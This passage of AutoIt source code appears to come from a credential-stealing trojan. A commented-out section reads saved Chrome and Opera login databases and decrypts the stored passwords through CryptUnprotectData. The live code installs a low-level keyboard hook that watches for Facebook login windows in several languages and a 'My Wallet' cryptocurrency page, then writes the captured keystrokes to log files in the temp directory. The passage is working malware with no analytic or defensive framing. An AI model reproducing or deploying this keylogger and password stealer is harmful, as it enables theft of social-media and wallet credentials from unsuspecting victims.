  3409. ;~  If Not @error Then
  3410. ;~      For $io = 1 To $LoginData[0][0]
  3411. ;~          _SQLite_Open($LoginData[$io][0])
  3412. ;~          If Not @error Then
  3413. ;~              Local $hQuery
  3414. ;~              _SQLite_Query(-1, "SELECT * FROM logins;", $hQuery)
  3415. ;~              If Not @error Then
  3416. ;~                  Local $aRow
  3417. ;~                  If $LoginData[$io][1] <> "" Then $Password &= @CRLF & "-------------------------[" & $LoginData[$io][1] & "]--------------------------" & @CRLF
  3418. ;~                  While _SQLite_FetchData($hQuery, $aRow, False, False) = $SQLITE_OK
  3419. ;~                      If UBound($aRow, 1) < 6 Then ContinueLoop
  3420. ;~                      $Password &= "Site: " & $aRow[0] & @CRLF & _
  3421. ;~                              "User: " & $aRow[3] & @CRLF & _
  3422. ;~                              "Password: " & UncryptRDPPassword($aRow[5]) & @CRLF & _
  3423. ;~                              "____________________________________________________________________" & @CRLF
  3424. ;~                  WEnd
  3425. ;~              EndIf
  3426. ;~              _SQLite_QueryFinalize($hQuery)
  3427. ;~              _SQLite_Close()
  3428. ;~          EndIf
  3429. ;~      Next
  3430. ;~  EndIf
  3431. ;~  If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
  3432. ;~  _SQLite_Shutdown()
  3433. ;~ EndFunc   ;==>_Get_Chrome_Opera_Password
  3434. ;~ Func _Get_Logindata($TEmpdirlogindata)
  3435. ;~  Local $AllProfileChrome[2][2]
  3436. ;~  __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
  3437. ;~  If Not @error Then $AllProfileChrome[1][1] = "Chrome Password"
  3438. ;~  $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
  3439. ;~  If Not @error Then
  3440. ;~      ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  3441. ;~      $AllProfileChrome[0][0] += 1
  3442. ;~      $AllProfileChrome[$AllProfileChrome[0][0]][1] = "Opera Password"
  3443. ;~      $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
  3444. ;~  EndIf
  3445. ;~  If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
  3446. ;~  Return $AllProfileChrome
  3447. ;~ EndFunc   ;==>_Get_Logindata
  3448. ;~ Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
  3449. ;~  Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
  3450. ;~  If Not FileExists($ChromePath) Then Return SetError(1)
  3451. ;~  Local $Sname
  3452. ;~  If FileExists($ChromePath & "Default\Login Data") Then
  3453. ;~      $AllProfileChrome[0][0] = 1
  3454. ;~      $Sname = $AllProfileChrome[0][0]
  3455. ;~      FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
  3456. ;~      If @error Then
  3457. ;~          $ChromeCopyloginPath = $ChromePath & "Default\"
  3458. ;~          $Sname = "Login Data"
  3459. ;~      EndIf
  3460. ;~      $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
  3461. ;~  EndIf
  3462. ;~  Local $search = FileFindFirstFile($ChromePath & "*.*")
  3463. ;~  If $search = -1 Then Return SetError(2)
  3464. ;~  While True
  3465. ;~      Local $file = FileFindNextFile($search)
  3466. ;~      If @error Then ExitLoop
  3467. ;~      If Not @extended Then ContinueLoop
  3468. ;~      If StringInStr($file, "Profile") > 0 Then
  3469. ;~          If FileExists($ChromePath & $file & "\Login Data") Then
  3470. ;~              ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  3471. ;~              $AllProfileChrome[0][0] += 1
  3472. ;~              $Sname = $AllProfileChrome[0][0]
  3473. ;~              FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
  3474. ;~              If @error Then
  3475. ;~                  $ChromeCopyloginPath = $ChromePath & $file & "\"
  3476. ;~                  $Sname = "Login Data"
  3477. ;~              EndIf
  3478. ;~              $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
  3479. ;~          EndIf
  3480. ;~      EndIf
  3481. ;~  WEnd
  3482. ;~  FileClose($search)
  3483. ;~  If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
  3484. ;~ EndFunc   ;==>__ChromePassword_Find_LoginData
  3485. ;~ Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
  3486. ;~  Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
  3487. ;~  If Not FileExists($OperaPath) Then Return SetError(1)
  3488. ;~  FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
  3489. ;~  If @error Then Return $OperaPath
  3490. ;~  Return $OperaCopyloginPath & "Op"
  3491. ;~ EndFunc   ;==>__OPeraPassword_Find_LoginData
  3492. ;~ Func UncryptRDPPassword($bin)
  3493. ;~  ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
  3494. ;~  Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
  3495. ;~  Local Const $DATA_BLOB = "int;ptr"
  3496.  
  3497. ;~  Local $passStr = DllStructCreate("byte[1024]")
  3498. ;~  Local $DataIn = DllStructCreate($DATA_BLOB)
  3499. ;~  Local $DataOut = DllStructCreate($DATA_BLOB)
  3500. ;~  $pwDescription = 'psw'
  3501. ;~  $PwdHash = ""
  3502.  
  3503. ;~  DllStructSetData($DataOut, 1, 0)
  3504. ;~  DllStructSetData($DataOut, 2, 0)
  3505.  
  3506. ;~  DllStructSetData($passStr, 1, $bin)
  3507. ;~  DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
  3508. ;~  DllStructSetData($DataIn, 1, BinaryLen($bin))
  3509.  
  3510. ;~  $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
  3511. ;~          "ptr", DllStructGetPtr($DataIn), _
  3512. ;~          "ptr", 0, _
  3513. ;~          "ptr", 0, _
  3514. ;~          "ptr", 0, _
  3515. ;~          "ptr", 0, _
  3516. ;~          "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
  3517. ;~          "ptr", DllStructGetPtr($DataOut))
  3518. ;~  If @error Then Return ""
  3519.  
  3520. ;~  $len = DllStructGetData($DataOut, 1)
  3521. ;~  $PwdHash = Ptr(DllStructGetData($DataOut, 2))
  3522. ;~  $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
  3523. ;~  Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
  3524. ;~ EndFunc   ;==>UncryptRDPPassword
  3525.  
  3526.  
  3527.  
  3528.  
  3529. Func EvaluateKey($iKeycode)
  3530.     If (($iKeycode > 64) And ($iKeycode < 91)) _ ; a - z
  3531.             Or (($iKeycode > 96) And ($iKeycode < 123)) _ ; A - Z
  3532.             Or (($iKeycode > 47) And ($iKeycode < 58)) Then ; 0 - 9
  3533.         $g_sBuffer &= Chr($iKeycode)
  3534.  
  3535.     ElseIf ($iKeycode > 159) And ($iKeycode < 164) Then
  3536.         Return
  3537.  
  3538.     Else
  3539.         $g_sBuffer = ""
  3540.     EndIf
  3541. EndFunc   ;==>EvaluateKey
  3542.  
  3543.  
  3544. Func _KeyProc($nCode, $wParam, $lParam)
  3545.     Local $tKEYHOOKS
  3546.     $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
  3547.     If $nCode < 0 Then
  3548.         Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  3549.     EndIf
  3550.  
  3551.     If $wParam = $WM_KEYDOWN Then
  3552.         EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
  3553.     Else
  3554.  
  3555.         Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
  3556.  
  3557.  
  3558.         Local $ActiveWindow = WinGetTitle("")
  3559.  
  3560.  
  3561.         $A = StringRegExp($ActiveWindow, "Facebook - Log")
  3562.  
  3563.         $B = StringRegExp($ActiveWindow, "Facebook - Connexion")
  3564.  
  3565.         $C = StringRegExp($ActiveWindow, "entre ou cadastre-se")
  3566.  
  3567.         $D = StringRegExp($ActiveWindow, "Facebook - Inicia")
  3568.  
  3569.         $E = StringRegExp($ActiveWindow, "?? ??? ???")
  3570.  
  3571.         $F = StringRegExp($ActiveWindow, "My Wallet - Be Your Own")
  3572.  
  3573.  
  3574.         If $A = 1 Or $B = 1 Or $C = 1 Or $D = 1 Or $E = 1 Or $F = 1 Then
  3575.  
  3576.             If $F = 1 Then
  3577.                 $tc = "2"
  3578.  
  3579.             Else
  3580.                 $tc = ""
  3581.             EndIf
  3582.  
  3583.  
  3584.  
  3585.  
  3586.  
  3587.  
  3588.  
  3589.  
  3590.  
  3591.             Switch $iFlags
  3592.                 Case $LLKHF_ALTDOWN
  3593.  
  3594.  
  3595.  
  3596.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
  3597.  
  3598.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "@")
  3599.                     EndIf
  3600.  
  3601.  
  3602. ;~              ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
  3603.                 Case $LLKHF_EXTENDED
  3604. ;~              ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
  3605.                 Case $LLKHF_INJECTED
  3606. ;~              ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
  3607.                 Case $LLKHF_UP
  3608. ;~              ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
  3609.  
  3610.  
  3611.  
  3612.  
  3613. If _CurrentLang() = 'French' Then
  3614.  
  3615.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
  3616.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "a")
  3617.                     EndIf
  3618.                     Else
  3619.  
  3620.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
  3621.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "q")
  3622.                     EndIf
  3623.  
  3624.  
  3625.                     EndIf
  3626.  
  3627.  
  3628.  
  3629.  
  3630.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
  3631.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "b")
  3632.                     EndIf
  3633.  
  3634.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
  3635.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "c")
  3636.                     EndIf
  3637.  
  3638.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
  3639.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "d")
  3640.                     EndIf
  3641.  
  3642.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
  3643.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "e")
  3644.                     EndIf
  3645.  
  3646.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
  3647.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "f")
  3648.                     EndIf
  3649.  
  3650.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
  3651.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "g")
  3652.                     EndIf
  3653.  
  3654.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
  3655.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "h")
  3656.                     EndIf
  3657.  
  3658.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
  3659.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "i")
  3660.                     EndIf
  3661.  
  3662.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
  3663.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "j")
  3664.                     EndIf
  3665.  
  3666.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
  3667.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "k")
  3668.                     EndIf
  3669.  
  3670.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
  3671.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "l")
  3672.                     EndIf
  3673.  
  3674.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
  3675.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "m")
  3676.                     EndIf
  3677.  
  3678.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
  3679.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "n")
  3680.                     EndIf
  3681.  
  3682.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
  3683.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "o")
  3684.                     EndIf
  3685.  
  3686.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
  3687.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "p")
  3688.                     EndIf
  3689. If _CurrentLang() = 'French' Then
  3690.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
  3691.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "q")
  3692.                     EndIf
  3693.  
  3694. Else
  3695. If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
  3696.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "a")
  3697.                     EndIf
  3698.  
  3699.                     EndIf
  3700.  
  3701.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
  3702.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "r")
  3703.                     EndIf
  3704.  
  3705.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
  3706.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "s")
  3707.                     EndIf
  3708.  
  3709.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
  3710.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "t")
  3711.                     EndIf
  3712.  
  3713.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
  3714.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "u")
  3715.                     EndIf
  3716.  
  3717.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
  3718.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "v")
  3719.                     EndIf
  3720. If _CurrentLang() = 'French' Then
  3721.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
  3722.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "w")
  3723.                     EndIf
  3724.  
  3725. Else
  3726.     If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
  3727.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "z")
  3728.                     EndIf
  3729.  
  3730.  
  3731.                     EndIf
  3732.  
  3733.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
  3734.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "x")
  3735.                     EndIf
  3736.  
  3737.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
  3738.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "y")
  3739.                     EndIf
  3740. If _CurrentLang() = 'French' Then
  3741.  
  3742.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
  3743.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "z")
  3744.                     EndIf
  3745.  
  3746. Else
  3747.  
  3748.             If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
  3749.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "w")
  3750.                     EndIf
  3751.  
  3752.  
  3753.                     EndIf
  3754.  
  3755.  
  3756.  
  3757.  
  3758.  
  3759.  
  3760.  
  3761.  
  3762.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
  3763.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "0")
  3764.                     EndIf
  3765.  
  3766.  
  3767.  
  3768.  
  3769.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
  3770.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "1")
  3771.                     EndIf
  3772.  
  3773.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
  3774.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "2")
  3775.                     EndIf
  3776.  
  3777.  
  3778.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
  3779.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "3")
  3780.                     EndIf
  3781.  
  3782.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
  3783.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "4")
  3784.                     EndIf
  3785.  
  3786.  
  3787.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
  3788.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "5")
  3789.                     EndIf
  3790.  
  3791.  
  3792.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
  3793.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "6")
  3794.                     EndIf
  3795.  
  3796.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
  3797.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "7")
  3798.                     EndIf
  3799.  
  3800.  
  3801.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
  3802.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "8")
  3803.                     EndIf
  3804.  
  3805.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
  3806.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", "9")
  3807.                     EndIf
  3808.  
  3809.  
  3810.  
  3811.  
  3812.  
  3813.  
  3814.  
  3815.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
  3816.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", " [Enter] ")
  3817.                     EndIf
  3818.  
  3819.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
  3820.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", " ")
  3821.                     EndIf
  3822.  
  3823.  
  3824.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
  3825.                         FileWrite(@TempDir & "/Log" & $tc & ".txt", ".")
  3826.                     EndIf
  3827.  
  3828.  
  3829.  
  3830.  
  3831.  
  3832.  
  3833.  
  3834.             EndSwitch
  3835.  
  3836.  
  3837.             Local $uuu
  3838.  
  3839.  
  3840.  
  3841.             If FileExists(@TempDir & "/Log" & $tc & ".txt") Then
  3842.                 _FileReadToArray(@TempDir & "/Log" & $tc & ".txt", $uuu)
  3843.  
  3844.  
  3845.  
  3846.  
  3847.                 $1112 = StringLen($uuu[$uuu[0]])
  3848.  
  3849.  
  3850.                 If $1112 > 44 Then
  3851.                     FileWrite(@TempDir & "/Log" & $tc & ".txt", "" & @CRLF)
  3852.                 EndIf
  3853.  
  3854.  
  3855.             EndIf
  3856.  
  3857.  
  3858.  
  3859.  
  3860.  
  3861.  
  3862.  
  3863.  
  3864.  
  3865.  
  3866.  
  3867.  
  3868.         Else
  3869.  
  3870.  
  3871.  
  3872.  
  3873.  
  3874.             Switch $iFlags
  3875.                 Case $LLKHF_ALTDOWN
  3876.  
  3877.  
  3878.  
  3879.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
  3880.  
  3881.                         FileWrite(@TempDir & "/KLog.txt", "@")
  3882.                     EndIf
  3883.  
  3884.  
  3885.  
  3886.                 Case $LLKHF_EXTENDED
  3887.  
  3888.                 Case $LLKHF_INJECTED
  3889.  
  3890.                 Case $LLKHF_UP
  3891.  
  3892.  
  3893.  
  3894.  
  3895.  
  3896. If _CurrentLang() = 'French' Then
  3897.  
  3898.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
  3899.                         FileWrite(@TempDir & "/KLog.txt", "a")
  3900.                     EndIf
  3901.                     Else
  3902.  
  3903.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
  3904.                         FileWrite(@TempDir & "/KLog.txt", "q")
  3905.                     EndIf
  3906.  
  3907.  
  3908.                     EndIf
  3909.  
  3910.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
  3911.                         FileWrite(@TempDir & "/KLog.txt", "b")
  3912.                     EndIf
  3913.  
  3914.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
  3915.                         FileWrite(@TempDir & "/KLog.txt", "c")
  3916.                     EndIf
  3917.  
  3918.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
  3919.                         FileWrite(@TempDir & "/KLog.txt", "d")
  3920.                     EndIf
  3921.  
  3922.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
  3923.                         FileWrite(@TempDir & "/KLog.txt", "e")
  3924.                     EndIf
  3925.  
  3926.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
  3927.                         FileWrite(@TempDir & "/KLog.txt", "f")
  3928.                     EndIf
  3929.  
  3930.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
  3931.                         FileWrite(@TempDir & "/KLog.txt", "g")
  3932.                     EndIf
  3933.  
  3934.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
  3935.                         FileWrite(@TempDir & "/KLog.txt", "h")
  3936.                     EndIf
  3937.  
  3938.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
  3939.                         FileWrite(@TempDir & "/KLog.txt", "i")
  3940.                     EndIf
  3941.  
  3942.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
  3943.                         FileWrite(@TempDir & "/KLog.txt", "j")
  3944.                     EndIf
  3945.  
  3946.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
  3947.                         FileWrite(@TempDir & "/KLog.txt", "k")
  3948.                     EndIf
  3949.  
  3950.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
  3951.                         FileWrite(@TempDir & "/KLog.txt", "l")
  3952.                     EndIf
  3953.  
  3954.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
  3955.                         FileWrite(@TempDir & "/KLog.txt", "m")
  3956.                     EndIf
  3957.  
  3958.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
  3959.                         FileWrite(@TempDir & "/KLog.txt", "n")
  3960.                     EndIf
  3961.  
  3962.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
  3963.                         FileWrite(@TempDir & "/KLog.txt", "o")
  3964.                     EndIf
  3965.  
  3966.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
  3967.                         FileWrite(@TempDir & "/KLog.txt", "p")
  3968.                     EndIf
  3969.  
  3970. If _CurrentLang() = 'French' Then
  3971.  
  3972.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
  3973.                         FileWrite(@TempDir & "/KLog.txt", "q")
  3974.                     EndIf
  3975.  
  3976. Else
  3977.  
  3978.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
  3979.                         FileWrite(@TempDir & "/KLog.txt", "a")
  3980.  
  3981.                     EndIf
  3982.  
  3983.  
  3984.  
  3985.                     EndIf
  3986.  
  3987.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
  3988.                         FileWrite(@TempDir & "/KLog.txt", "r")
  3989.                     EndIf
  3990.  
  3991.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
  3992.                         FileWrite(@TempDir & "/KLog.txt", "s")
  3993.                     EndIf
  3994.  
  3995.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
  3996.                         FileWrite(@TempDir & "/KLog.txt", "t")
  3997.                     EndIf
  3998.  
  3999.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
  4000.                         FileWrite(@TempDir & "/KLog.txt", "u")
  4001.                     EndIf
  4002.  
  4003.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
  4004.                         FileWrite(@TempDir & "/KLog.txt", "v")
  4005.                     EndIf
  4006. If _CurrentLang() = 'French' Then
  4007.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
  4008.                         FileWrite(@TempDir & "/KLog.txt", "w")
  4009.                     EndIf
  4010.  
  4011. Else
  4012.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
  4013.                         FileWrite(@TempDir & "/KLog.txt", "z")
  4014.                     EndIf
  4015.  
  4016.  
  4017.                     EndIf
  4018.  
  4019.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
  4020.                         FileWrite(@TempDir & "/KLog.txt", "x")
  4021.                     EndIf
  4022.  
  4023.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
  4024.                         FileWrite(@TempDir & "/KLog.txt", "y")
  4025.                     EndIf
  4026.  
  4027. If _CurrentLang() = 'French' Then
  4028.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
  4029.                         FileWrite(@TempDir & "/KLog.txt", "z")
  4030.                     EndIf
  4031.  
  4032.                     Else
  4033.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
  4034.                         FileWrite(@TempDir & "/KLog.txt", "w")
  4035.                     EndIf
  4036.  
  4037.  
  4038.                     EndIf
  4039.  
  4040.  
  4041.  
  4042.  
  4043.  
  4044.  
  4045.  
  4046.  
  4047.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
  4048.                         FileWrite(@TempDir & "/KLog.txt", "0")
  4049.                     EndIf
  4050.  
  4051.  
  4052.  
  4053.  
  4054.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
  4055.                         FileWrite(@TempDir & "/KLog.txt", "1")
  4056.                     EndIf
  4057.  
  4058.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
  4059.                         FileWrite(@TempDir & "/KLog.txt", "2")
  4060.                     EndIf
  4061.  
  4062.  
  4063.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
  4064.                         FileWrite(@TempDir & "/KLog.txt", "3")
  4065.                     EndIf
  4066.  
  4067.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
  4068.                         FileWrite(@TempDir & "/KLog.txt", "4")
  4069.                     EndIf
  4070.  
  4071.  
  4072.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
  4073.                         FileWrite(@TempDir & "/KLog.txt", "5")
  4074.                     EndIf
  4075.  
  4076.  
  4077.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
  4078.                         FileWrite(@TempDir & "/KLog.txt", "6")
  4079.                     EndIf
  4080.  
  4081.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
  4082.                         FileWrite(@TempDir & "/KLog.txt", "7")
  4083.                     EndIf
  4084.  
  4085.  
  4086.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
  4087.                         FileWrite(@TempDir & "/KLog.txt", "8")
  4088.                     EndIf
  4089.  
  4090.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
  4091.                         FileWrite(@TempDir & "/KLog.txt", "9")
  4092.                     EndIf
  4093.  
  4094.  
  4095.  
  4096.  
  4097.  
  4098.  
  4099.  
  4100. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
  4101. ;~                      FileWrite(@TempDir & "/KLog.txt", " [Enter] ")
  4102. ;~                  EndIf
  4103.  
  4104.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
  4105.                         FileWrite(@TempDir & "/KLog.txt", " ")
  4106.                     EndIf
  4107.  
  4108.  
  4109.                     If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
  4110.                         FileWrite(@TempDir & "/KLog.txt", ".")
  4111.                     EndIf
  4112.  
  4113.  
  4114.  
  4115.  
  4116.  
  4117.  
  4118.  
  4119.             EndSwitch
  4120.  
  4121.  
  4122. ;~ Local $uuu2
  4123.  
  4124.  
  4125.  
  4126. ;~          If FileExists(@TempDir & "/KLog.txt") Then
  4127. ;~              _FileReadToArray(@TempDir & "/KLog.txt", $uuu2)
  4128.  
  4129.  
  4130.  
  4131.  
  4132. ;~              $11122 = StringLen($uuu2[$uuu2[0]])
  4133.  
  4134.  
  4135. ;~              If $11122 > 79 Then
  4136. ;~                  FileWrite(@TempDir & "/KLog.txt", "" & @CRLF)
  4137. ;~              EndIf
  4138.  
  4139.  
  4140. ;~          EndIf
  4141.  
  4142.  
  4143.  
  4144.  
  4145.  
  4146.  
  4147.  
  4148.  
  4149.         EndIf
  4150.  
  4151.  
  4152.  
  4153.  
  4154.     EndIf
  4155.  
  4156.  
  4157.  
  4158.     Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  4159. EndFunc   ;==>_KeyProc
  4160.  
  4161.  
  4162.  
  4163. Func Cleanup()
  4164.     _WinAPI_UnhookWindowsHookEx($g_hHook)
  4165.     DllCallbackFree($g_hStub_KeyProc)
  4166. EndFunc   ;==>Cleanup
  4167.  
  4168.  
  4169.  
  4170.  
  4171.  
  4172.  
  4173.  
  4174. ;~ Func _KeyProc2($nCode, $wParam, $lParam)
  4175. ;~  Local $tKEYHOOKS
  4176. ;~  $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
  4177. ;~  If $nCode < 0 Then
  4178. ;~      Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  4179. ;~  EndIf
  4180.  
  4181. ;~  If $wParam = $WM_KEYDOWN Then
  4182. ;~      EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
  4183. ;~  Else
  4184.  
  4185. ;~      Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
  4186.  
  4187. ;~          Switch $iFlags
  4188. ;~              Case $LLKHF_ALTDOWN
  4189.  
  4190.  
  4191.  
